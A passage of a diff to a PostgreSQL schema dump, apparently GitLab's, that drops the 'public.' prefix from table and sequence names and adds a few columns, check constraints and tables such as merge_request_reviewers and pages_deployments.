merge_request_diff_id integer NOT NULL,
relative_order integer NOT NULL,
new_file boolean NOT NULL,
@@ -13063,7 +13272,7 @@ CREATE TABLE public.merge_request_diff_files (
external_diff_size integer
);
-CREATE TABLE public.merge_request_diffs (
+CREATE TABLE merge_request_diffs (
id integer NOT NULL,
state character varying,
merge_request_id integer NOT NULL,
@@ -13077,19 +13286,20 @@ CREATE TABLE public.merge_request_diffs (
external_diff character varying,
external_diff_store integer DEFAULT 1,
stored_externally boolean,
- files_count smallint
+ files_count smallint,
+ CONSTRAINT check_93ee616ac9 CHECK ((external_diff_store IS NOT NULL))
);
-CREATE SEQUENCE public.merge_request_diffs_id_seq
+CREATE SEQUENCE merge_request_diffs_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.merge_request_diffs_id_seq OWNED BY public.merge_request_diffs.id;
+ALTER SEQUENCE merge_request_diffs_id_seq OWNED BY merge_request_diffs.id;
-CREATE TABLE public.merge_request_metrics (
+CREATE TABLE merge_request_metrics (
id integer NOT NULL,
merge_request_id integer NOT NULL,
latest_build_started_at timestamp without time zone,
@@ -13112,19 +13322,36 @@ CREATE TABLE public.merge_request_metrics (
first_reassigned_at timestamp with time zone,
added_lines integer,
removed_lines integer,
- target_project_id integer
+ target_project_id integer,
+ CONSTRAINT check_e03d0900bf CHECK ((target_project_id IS NOT NULL))
);
-CREATE SEQUENCE public.merge_request_metrics_id_seq
+CREATE SEQUENCE merge_request_metrics_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.merge_request_metrics_id_seq OWNED BY public.merge_request_metrics.id;
+ALTER SEQUENCE merge_request_metrics_id_seq OWNED BY merge_request_metrics.id;
-CREATE TABLE public.merge_request_user_mentions (
+CREATE TABLE merge_request_reviewers (
+ id bigint NOT NULL,
+ user_id bigint NOT NULL,
+ merge_request_id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL
+);
+
+CREATE SEQUENCE merge_request_reviewers_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE merge_request_reviewers_id_seq OWNED BY merge_request_reviewers.id;
+
+CREATE TABLE merge_request_user_mentions (
id bigint NOT NULL,
merge_request_id integer NOT NULL,
note_id integer,
@@ -13133,16 +13360,16 @@ CREATE TABLE public.merge_request_user_mentions (
mentioned_groups_ids integer[]
);
-CREATE SEQUENCE public.merge_request_user_mentions_id_seq
+CREATE SEQUENCE merge_request_user_mentions_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.merge_request_user_mentions_id_seq OWNED BY public.merge_request_user_mentions.id;
+ALTER SEQUENCE merge_request_user_mentions_id_seq OWNED BY merge_request_user_mentions.id;
-CREATE TABLE public.merge_requests (
+CREATE TABLE merge_requests (
id integer NOT NULL,
target_branch character varying NOT NULL,
source_branch character varying NOT NULL,
@@ -13183,10 +13410,11 @@ CREATE TABLE public.merge_requests (
rebase_jid character varying,
squash_commit_sha bytea,
sprint_id bigint,
+ merge_ref_sha bytea,
CONSTRAINT check_970d272570 CHECK ((lock_version IS NOT NULL))
);
-CREATE TABLE public.merge_requests_closing_issues (
+CREATE TABLE merge_requests_closing_issues (
id integer NOT NULL,
merge_request_id integer NOT NULL,
issue_id integer NOT NULL,
@@ -13194,25 +13422,25 @@ CREATE TABLE public.merge_requests_closing_issues (
updated_at timestamp without time zone NOT NULL
);
-CREATE SEQUENCE public.merge_requests_closing_issues_id_seq
+CREATE SEQUENCE merge_requests_closing_issues_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.merge_requests_closing_issues_id_seq OWNED BY public.merge_requests_closing_issues.id;
+ALTER SEQUENCE merge_requests_closing_issues_id_seq OWNED BY merge_requests_closing_issues.id;
-CREATE SEQUENCE public.merge_requests_id_seq
+CREATE SEQUENCE merge_requests_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.merge_requests_id_seq OWNED BY public.merge_requests.id;
+ALTER SEQUENCE merge_requests_id_seq OWNED BY merge_requests.id;
-CREATE TABLE public.merge_trains (
+CREATE TABLE merge_trains (
id bigint NOT NULL,
merge_request_id integer NOT NULL,
user_id integer NOT NULL,
@@ -13226,16 +13454,16 @@ CREATE TABLE public.merge_trains (
duration integer
);
-CREATE SEQUENCE public.merge_trains_id_seq
+CREATE SEQUENCE merge_trains_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.merge_trains_id_seq OWNED BY public.merge_trains.id;
+ALTER SEQUENCE merge_trains_id_seq OWNED BY merge_trains.id;
-CREATE TABLE public.metrics_dashboard_annotations (
+CREATE TABLE metrics_dashboard_annotations (
id bigint NOT NULL,
starting_at timestamp with time zone NOT NULL,
ending_at timestamp with time zone,
@@ -13246,16 +13474,16 @@ CREATE TABLE public.metrics_dashboard_annotations (
description text NOT NULL
);
-CREATE SEQUENCE public.metrics_dashboard_annotations_id_seq
+CREATE SEQUENCE metrics_dashboard_annotations_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.metrics_dashboard_annotations_id_seq OWNED BY public.metrics_dashboard_annotations.id;
+ALTER SEQUENCE metrics_dashboard_annotations_id_seq OWNED BY metrics_dashboard_annotations.id;
-CREATE TABLE public.metrics_users_starred_dashboards (
+CREATE TABLE metrics_users_starred_dashboards (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -13265,21 +13493,21 @@ CREATE TABLE public.metrics_users_starred_dashboards (
CONSTRAINT check_79a84a0f57 CHECK ((char_length(dashboard_path) <= 255))
);
-CREATE SEQUENCE public.metrics_users_starred_dashboards_id_seq
+CREATE SEQUENCE metrics_users_starred_dashboards_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.metrics_users_starred_dashboards_id_seq OWNED BY public.metrics_users_starred_dashboards.id;
+ALTER SEQUENCE metrics_users_starred_dashboards_id_seq OWNED BY metrics_users_starred_dashboards.id;
-CREATE TABLE public.milestone_releases (
+CREATE TABLE milestone_releases (
milestone_id bigint NOT NULL,
release_id bigint NOT NULL
);
-CREATE TABLE public.milestones (
+CREATE TABLE milestones (
id integer NOT NULL,
title character varying NOT NULL,
project_id integer,
@@ -13296,27 +13524,27 @@ CREATE TABLE public.milestones (
group_id integer
);
-CREATE SEQUENCE public.milestones_id_seq
+CREATE SEQUENCE milestones_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.milestones_id_seq OWNED BY public.milestones.id;
+ALTER SEQUENCE milestones_id_seq OWNED BY milestones.id;
-CREATE TABLE public.namespace_aggregation_schedules (
+CREATE TABLE namespace_aggregation_schedules (
namespace_id integer NOT NULL
);
-CREATE TABLE public.namespace_limits (
+CREATE TABLE namespace_limits (
additional_purchased_storage_size bigint DEFAULT 0 NOT NULL,
additional_purchased_storage_ends_on date,
namespace_id integer NOT NULL,
temporary_storage_increase_ends_on date
);
-CREATE TABLE public.namespace_root_storage_statistics (
+CREATE TABLE namespace_root_storage_statistics (
namespace_id integer NOT NULL,
updated_at timestamp with time zone NOT NULL,
repository_size bigint DEFAULT 0 NOT NULL,
@@ -13325,33 +13553,34 @@ CREATE TABLE public.namespace_root_storage_statistics (
build_artifacts_size bigint DEFAULT 0 NOT NULL,
storage_size bigint DEFAULT 0 NOT NULL,
packages_size bigint DEFAULT 0 NOT NULL,
- snippets_size bigint DEFAULT 0 NOT NULL
+ snippets_size bigint DEFAULT 0 NOT NULL,
+ pipeline_artifacts_size bigint DEFAULT 0 NOT NULL
);
-CREATE TABLE public.namespace_settings (
+CREATE TABLE namespace_settings (
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
namespace_id integer NOT NULL,
prevent_forking_outside_group boolean DEFAULT false NOT NULL
);
-CREATE TABLE public.namespace_statistics (
+CREATE TABLE namespace_statistics (
id integer NOT NULL,
namespace_id integer NOT NULL,
shared_runners_seconds integer DEFAULT 0 NOT NULL,
shared_runners_seconds_last_reset timestamp without time zone
);
-CREATE SEQUENCE public.namespace_statistics_id_seq
+CREATE SEQUENCE namespace_statistics_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.namespace_statistics_id_seq OWNED BY public.namespace_statistics.id;
+ALTER SEQUENCE namespace_statistics_id_seq OWNED BY namespace_statistics.id;
-CREATE TABLE public.namespaces (
+CREATE TABLE namespaces (
id integer NOT NULL,
name character varying NOT NULL,
path character varying NOT NULL,
@@ -13403,16 +13632,16 @@ CREATE TABLE public.namespaces (
delayed_project_removal boolean DEFAULT false NOT NULL
);
-CREATE SEQUENCE public.namespaces_id_seq
+CREATE SEQUENCE namespaces_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.namespaces_id_seq OWNED BY public.namespaces.id;
+ALTER SEQUENCE namespaces_id_seq OWNED BY namespaces.id;
-CREATE TABLE public.note_diff_files (
+CREATE TABLE note_diff_files (
id integer NOT NULL,
diff_note_id integer NOT NULL,
diff text NOT NULL,
@@ -13425,16 +13654,16 @@ CREATE TABLE public.note_diff_files (
old_path text NOT NULL
);
-CREATE SEQUENCE public.note_diff_files_id_seq
+CREATE SEQUENCE note_diff_files_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.note_diff_files_id_seq OWNED BY public.note_diff_files.id;
+ALTER SEQUENCE note_diff_files_id_seq OWNED BY note_diff_files.id;
-CREATE TABLE public.notes (
+CREATE TABLE notes (
id integer NOT NULL,
note text,
noteable_type character varying,
@@ -13463,16 +13692,16 @@ CREATE TABLE public.notes (
confidential boolean
);
-CREATE SEQUENCE public.notes_id_seq
+CREATE SEQUENCE notes_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.notes_id_seq OWNED BY public.notes.id;
+ALTER SEQUENCE notes_id_seq OWNED BY notes.id;
-CREATE TABLE public.notification_settings (
+CREATE TABLE notification_settings (
id integer NOT NULL,
user_id integer NOT NULL,
source_id integer,
@@ -13501,16 +13730,16 @@ CREATE TABLE public.notification_settings (
moved_project boolean DEFAULT true NOT NULL
);
-CREATE SEQUENCE public.notification_settings_id_seq
+CREATE SEQUENCE notification_settings_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.notification_settings_id_seq OWNED BY public.notification_settings.id;
+ALTER SEQUENCE notification_settings_id_seq OWNED BY notification_settings.id;
-CREATE TABLE public.oauth_access_grants (
+CREATE TABLE oauth_access_grants (
id integer NOT NULL,
resource_owner_id integer NOT NULL,
application_id integer NOT NULL,
@@ -13522,16 +13751,16 @@ CREATE TABLE public.oauth_access_grants (
scopes character varying
);
-CREATE SEQUENCE public.oauth_access_grants_id_seq
+CREATE SEQUENCE oauth_access_grants_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.oauth_access_grants_id_seq OWNED BY public.oauth_access_grants.id;
+ALTER SEQUENCE oauth_access_grants_id_seq OWNED BY oauth_access_grants.id;
-CREATE TABLE public.oauth_access_tokens (
+CREATE TABLE oauth_access_tokens (
id integer NOT NULL,
resource_owner_id integer,
application_id integer,
@@ -13543,16 +13772,16 @@ CREATE TABLE public.oauth_access_tokens (
scopes character varying
);
-CREATE SEQUENCE public.oauth_access_tokens_id_seq
+CREATE SEQUENCE oauth_access_tokens_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.oauth_access_tokens_id_seq OWNED BY public.oauth_access_tokens.id;
+ALTER SEQUENCE oauth_access_tokens_id_seq OWNED BY oauth_access_tokens.id;
-CREATE TABLE public.oauth_applications (
+CREATE TABLE oauth_applications (
id integer NOT NULL,
name character varying NOT NULL,
uid character varying NOT NULL,
@@ -13567,31 +13796,31 @@ CREATE TABLE public.oauth_applications (
confidential boolean DEFAULT true NOT NULL
);
-CREATE SEQUENCE public.oauth_applications_id_seq
+CREATE SEQUENCE oauth_applications_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.oauth_applications_id_seq OWNED BY public.oauth_applications.id;
+ALTER SEQUENCE oauth_applications_id_seq OWNED BY oauth_applications.id;
-CREATE TABLE public.oauth_openid_requests (
+CREATE TABLE oauth_openid_requests (
id integer NOT NULL,
access_grant_id integer NOT NULL,
nonce character varying NOT NULL
);
-CREATE SEQUENCE public.oauth_openid_requests_id_seq
+CREATE SEQUENCE oauth_openid_requests_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.oauth_openid_requests_id_seq OWNED BY public.oauth_openid_requests.id;
+ALTER SEQUENCE oauth_openid_requests_id_seq OWNED BY oauth_openid_requests.id;
-CREATE TABLE public.open_project_tracker_data (
+CREATE TABLE open_project_tracker_data (
id bigint NOT NULL,
service_id integer NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -13606,16 +13835,16 @@ CREATE TABLE public.open_project_tracker_data (
project_identifier_code character varying(100)
);
-CREATE SEQUENCE public.open_project_tracker_data_id_seq
+CREATE SEQUENCE open_project_tracker_data_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.open_project_tracker_data_id_seq OWNED BY public.open_project_tracker_data.id;
+ALTER SEQUENCE open_project_tracker_data_id_seq OWNED BY open_project_tracker_data.id;
-CREATE TABLE public.operations_feature_flag_scopes (
+CREATE TABLE operations_feature_flag_scopes (
id bigint NOT NULL,
feature_flag_id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -13625,16 +13854,16 @@ CREATE TABLE public.operations_feature_flag_scopes (
strategies jsonb DEFAULT '[{"name": "default", "parameters": {}}]'::jsonb NOT NULL
);
-CREATE SEQUENCE public.operations_feature_flag_scopes_id_seq
+CREATE SEQUENCE operations_feature_flag_scopes_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.operations_feature_flag_scopes_id_seq OWNED BY public.operations_feature_flag_scopes.id;
+ALTER SEQUENCE operations_feature_flag_scopes_id_seq OWNED BY operations_feature_flag_scopes.id;
-CREATE TABLE public.operations_feature_flags (
+CREATE TABLE operations_feature_flags (
id bigint NOT NULL,
project_id integer NOT NULL,
active boolean NOT NULL,
@@ -13646,92 +13875,92 @@ CREATE TABLE public.operations_feature_flags (
version smallint DEFAULT 1 NOT NULL
);
-CREATE TABLE public.operations_feature_flags_clients (
+CREATE TABLE operations_feature_flags_clients (
id bigint NOT NULL,
project_id integer NOT NULL,
token_encrypted character varying
);
-CREATE SEQUENCE public.operations_feature_flags_clients_id_seq
+CREATE SEQUENCE operations_feature_flags_clients_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.operations_feature_flags_clients_id_seq OWNED BY public.operations_feature_flags_clients.id;
+ALTER SEQUENCE operations_feature_flags_clients_id_seq OWNED BY operations_feature_flags_clients.id;
-CREATE SEQUENCE public.operations_feature_flags_id_seq
+CREATE SEQUENCE operations_feature_flags_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.operations_feature_flags_id_seq OWNED BY public.operations_feature_flags.id;
+ALTER SEQUENCE operations_feature_flags_id_seq OWNED BY operations_feature_flags.id;
-CREATE TABLE public.operations_feature_flags_issues (
+CREATE TABLE operations_feature_flags_issues (
id bigint NOT NULL,
feature_flag_id bigint NOT NULL,
issue_id bigint NOT NULL
);
-CREATE SEQUENCE public.operations_feature_flags_issues_id_seq
+CREATE SEQUENCE operations_feature_flags_issues_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.operations_feature_flags_issues_id_seq OWNED BY public.operations_feature_flags_issues.id;
+ALTER SEQUENCE operations_feature_flags_issues_id_seq OWNED BY operations_feature_flags_issues.id;
-CREATE TABLE public.operations_scopes (
+CREATE TABLE operations_scopes (
id bigint NOT NULL,
strategy_id bigint NOT NULL,
environment_scope character varying(255) NOT NULL
);
-CREATE SEQUENCE public.operations_scopes_id_seq
+CREATE SEQUENCE operations_scopes_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.operations_scopes_id_seq OWNED BY public.operations_scopes.id;
+ALTER SEQUENCE operations_scopes_id_seq OWNED BY operations_scopes.id;
-CREATE TABLE public.operations_strategies (
+CREATE TABLE operations_strategies (
id bigint NOT NULL,
feature_flag_id bigint NOT NULL,
name character varying(255) NOT NULL,
parameters jsonb DEFAULT '{}'::jsonb NOT NULL
);
-CREATE SEQUENCE public.operations_strategies_id_seq
+CREATE SEQUENCE operations_strategies_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.operations_strategies_id_seq OWNED BY public.operations_strategies.id;
+ALTER SEQUENCE operations_strategies_id_seq OWNED BY operations_strategies.id;
-CREATE TABLE public.operations_strategies_user_lists (
+CREATE TABLE operations_strategies_user_lists (
id bigint NOT NULL,
strategy_id bigint NOT NULL,
user_list_id bigint NOT NULL
);
-CREATE SEQUENCE public.operations_strategies_user_lists_id_seq
+CREATE SEQUENCE operations_strategies_user_lists_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.operations_strategies_user_lists_id_seq OWNED BY public.operations_strategies_user_lists.id;
+ALTER SEQUENCE operations_strategies_user_lists_id_seq OWNED BY operations_strategies_user_lists.id;
-CREATE TABLE public.operations_user_lists (
+CREATE TABLE operations_user_lists (
id bigint NOT NULL,
project_id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -13741,37 +13970,37 @@ CREATE TABLE public.operations_user_lists (
user_xids text DEFAULT ''::text NOT NULL
);
-CREATE SEQUENCE public.operations_user_lists_id_seq
+CREATE SEQUENCE operations_user_lists_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.operations_user_lists_id_seq OWNED BY public.operations_user_lists.id;
+ALTER SEQUENCE operations_user_lists_id_seq OWNED BY operations_user_lists.id;
-CREATE TABLE public.packages_build_infos (
+CREATE TABLE packages_build_infos (
id bigint NOT NULL,
package_id integer NOT NULL,
pipeline_id integer
);
-CREATE SEQUENCE public.packages_build_infos_id_seq
+CREATE SEQUENCE packages_build_infos_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.packages_build_infos_id_seq OWNED BY public.packages_build_infos.id;
+ALTER SEQUENCE packages_build_infos_id_seq OWNED BY packages_build_infos.id;
-CREATE TABLE public.packages_composer_metadata (
+CREATE TABLE packages_composer_metadata (
package_id bigint NOT NULL,
target_sha bytea NOT NULL,
composer_json jsonb DEFAULT '{}'::jsonb NOT NULL
);
-CREATE TABLE public.packages_conan_file_metadata (
+CREATE TABLE packages_conan_file_metadata (
id bigint NOT NULL,
package_file_id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -13782,16 +14011,16 @@ CREATE TABLE public.packages_conan_file_metadata (
conan_file_type smallint NOT NULL
);
-CREATE SEQUENCE public.packages_conan_file_metadata_id_seq
+CREATE SEQUENCE packages_conan_file_metadata_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.packages_conan_file_metadata_id_seq OWNED BY public.packages_conan_file_metadata.id;
+ALTER SEQUENCE packages_conan_file_metadata_id_seq OWNED BY packages_conan_file_metadata.id;
-CREATE TABLE public.packages_conan_metadata (
+CREATE TABLE packages_conan_metadata (
id bigint NOT NULL,
package_id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -13800,47 +14029,47 @@ CREATE TABLE public.packages_conan_metadata (
package_channel character varying(255) NOT NULL
);
-CREATE SEQUENCE public.packages_conan_metadata_id_seq
+CREATE SEQUENCE packages_conan_metadata_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.packages_conan_metadata_id_seq OWNED BY public.packages_conan_metadata.id;
+ALTER SEQUENCE packages_conan_metadata_id_seq OWNED BY packages_conan_metadata.id;
-CREATE TABLE public.packages_dependencies (
+CREATE TABLE packages_dependencies (
id bigint NOT NULL,
name character varying(255) NOT NULL,
version_pattern character varying(255) NOT NULL
);
-CREATE SEQUENCE public.packages_dependencies_id_seq
+CREATE SEQUENCE packages_dependencies_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.packages_dependencies_id_seq OWNED BY public.packages_dependencies.id;
+ALTER SEQUENCE packages_dependencies_id_seq OWNED BY packages_dependencies.id;
-CREATE TABLE public.packages_dependency_links (
+CREATE TABLE packages_dependency_links (
id bigint NOT NULL,
package_id bigint NOT NULL,
dependency_id bigint NOT NULL,
dependency_type smallint NOT NULL
);
-CREATE SEQUENCE public.packages_dependency_links_id_seq
+CREATE SEQUENCE packages_dependency_links_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.packages_dependency_links_id_seq OWNED BY public.packages_dependency_links.id;
+ALTER SEQUENCE packages_dependency_links_id_seq OWNED BY packages_dependency_links.id;
-CREATE TABLE public.packages_maven_metadata (
+CREATE TABLE packages_maven_metadata (
id bigint NOT NULL,
package_id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -13851,22 +14080,22 @@ CREATE TABLE public.packages_maven_metadata (
path character varying(512) NOT NULL
);
-CREATE SEQUENCE public.packages_maven_metadata_id_seq
+CREATE SEQUENCE packages_maven_metadata_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.packages_maven_metadata_id_seq OWNED BY public.packages_maven_metadata.id;
+ALTER SEQUENCE packages_maven_metadata_id_seq OWNED BY packages_maven_metadata.id;
-CREATE TABLE public.packages_nuget_dependency_link_metadata (
+CREATE TABLE packages_nuget_dependency_link_metadata (
dependency_link_id bigint NOT NULL,
target_framework text NOT NULL,
CONSTRAINT packages_nuget_dependency_link_metadata_target_framework_constr CHECK ((char_length(target_framework) <= 255))
);
-CREATE TABLE public.packages_nuget_metadata (
+CREATE TABLE packages_nuget_metadata (
package_id bigint NOT NULL,
license_url text,
project_url text,
@@ -13876,7 +14105,7 @@ CREATE TABLE public.packages_nuget_metadata (
CONSTRAINT packages_nuget_metadata_project_url_constraint CHECK ((char_length(project_url) <= 255))
);
-CREATE TABLE public.packages_package_files (
+CREATE TABLE packages_package_files (
id bigint NOT NULL,
package_id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -13895,40 +14124,43 @@ CREATE TABLE public.packages_package_files (
verification_checksum bytea
);
-CREATE SEQUENCE public.packages_package_files_id_seq
+CREATE SEQUENCE packages_package_files_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.packages_package_files_id_seq OWNED BY public.packages_package_files.id;
+ALTER SEQUENCE packages_package_files_id_seq OWNED BY packages_package_files.id;
-CREATE TABLE public.packages_packages (
+CREATE TABLE packages_packages (
id bigint NOT NULL,
project_id integer NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
name character varying NOT NULL,
version character varying,
- package_type smallint NOT NULL
+ package_type smallint NOT NULL,
+ creator_id integer
);
-CREATE SEQUENCE public.packages_packages_id_seq
+CREATE SEQUENCE packages_packages_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.packages_packages_id_seq OWNED BY public.packages_packages.id;
+ALTER SEQUENCE packages_packages_id_seq OWNED BY packages_packages.id;
-CREATE TABLE public.packages_pypi_metadata (
+CREATE TABLE packages_pypi_metadata (
package_id bigint NOT NULL,
- required_python character varying(50) NOT NULL
+ required_python text,
+ CONSTRAINT check_0d9aed55b2 CHECK ((required_python IS NOT NULL)),
+ CONSTRAINT check_379019d5da CHECK ((char_length(required_python) <= 255))
);
-CREATE TABLE public.packages_tags (
+CREATE TABLE packages_tags (
id bigint NOT NULL,
package_id integer NOT NULL,
name character varying(255) NOT NULL,
@@ -13936,16 +14168,37 @@ CREATE TABLE public.packages_tags (
updated_at timestamp with time zone NOT NULL
);
-CREATE SEQUENCE public.packages_tags_id_seq
+CREATE SEQUENCE packages_tags_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.packages_tags_id_seq OWNED BY public.packages_tags.id;
+ALTER SEQUENCE packages_tags_id_seq OWNED BY packages_tags.id;
-CREATE TABLE public.pages_domain_acme_orders (
+CREATE TABLE pages_deployments (
+ id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ project_id bigint NOT NULL,
+ ci_build_id bigint,
+ file_store smallint NOT NULL,
+ size integer NOT NULL,
+ file text NOT NULL,
+ CONSTRAINT check_f0fe8032dd CHECK ((char_length(file) <= 255))
+);
+
+CREATE SEQUENCE pages_deployments_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE pages_deployments_id_seq OWNED BY pages_deployments.id;
+
+CREATE TABLE pages_domain_acme_orders (
id bigint NOT NULL,
pages_domain_id integer NOT NULL,
expires_at timestamp with time zone NOT NULL,
@@ -13958,16 +14211,16 @@ CREATE TABLE public.pages_domain_acme_orders (
encrypted_private_key_iv text NOT NULL
);
-CREATE SEQUENCE public.pages_domain_acme_orders_id_seq
+CREATE SEQUENCE pages_domain_acme_orders_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.pages_domain_acme_orders_id_seq OWNED BY public.pages_domain_acme_orders.id;
+ALTER SEQUENCE pages_domain_acme_orders_id_seq OWNED BY pages_domain_acme_orders.id;
-CREATE TABLE public.pages_domains (
+CREATE TABLE pages_domains (
id integer NOT NULL,
project_id integer,
certificate text,
@@ -13989,16 +14242,16 @@ CREATE TABLE public.pages_domains (
auto_ssl_failed boolean DEFAULT false NOT NULL
);
-CREATE SEQUENCE public.pages_domains_id_seq
+CREATE SEQUENCE pages_domains_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.pages_domains_id_seq OWNED BY public.pages_domains.id;
+ALTER SEQUENCE pages_domains_id_seq OWNED BY pages_domains.id;
-CREATE TABLE public.partitioned_foreign_keys (
+CREATE TABLE partitioned_foreign_keys (
id bigint NOT NULL,
cascade_delete boolean DEFAULT true NOT NULL,
from_table text NOT NULL,
@@ -14011,16 +14264,16 @@ CREATE TABLE public.partitioned_foreign_keys (
CONSTRAINT check_7e98be694f CHECK ((char_length(to_column) <= 63))
);
-CREATE SEQUENCE public.partitioned_foreign_keys_id_seq
+CREATE SEQUENCE partitioned_foreign_keys_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.partitioned_foreign_keys_id_seq OWNED BY public.partitioned_foreign_keys.id;
+ALTER SEQUENCE partitioned_foreign_keys_id_seq OWNED BY partitioned_foreign_keys.id;
-CREATE TABLE public.path_locks (
+CREATE TABLE path_locks (
id integer NOT NULL,
path character varying NOT NULL,
project_id integer,
@@ -14029,16 +14282,16 @@ CREATE TABLE public.path_locks (
updated_at timestamp without time zone NOT NULL
);
-CREATE SEQUENCE public.path_locks_id_seq
+CREATE SEQUENCE path_locks_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.path_locks_id_seq OWNED BY public.path_locks.id;
+ALTER SEQUENCE path_locks_id_seq OWNED BY path_locks.id;
-CREATE TABLE public.personal_access_tokens (
+CREATE TABLE personal_access_tokens (
id integer NOT NULL,
user_id integer NOT NULL,
name character varying NOT NULL,
@@ -14055,16 +14308,16 @@ CREATE TABLE public.personal_access_tokens (
after_expiry_notification_delivered boolean DEFAULT false NOT NULL
);
-CREATE SEQUENCE public.personal_access_tokens_id_seq
+CREATE SEQUENCE personal_access_tokens_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.personal_access_tokens_id_seq OWNED BY public.personal_access_tokens.id;
+ALTER SEQUENCE personal_access_tokens_id_seq OWNED BY personal_access_tokens.id;
-CREATE TABLE public.plan_limits (
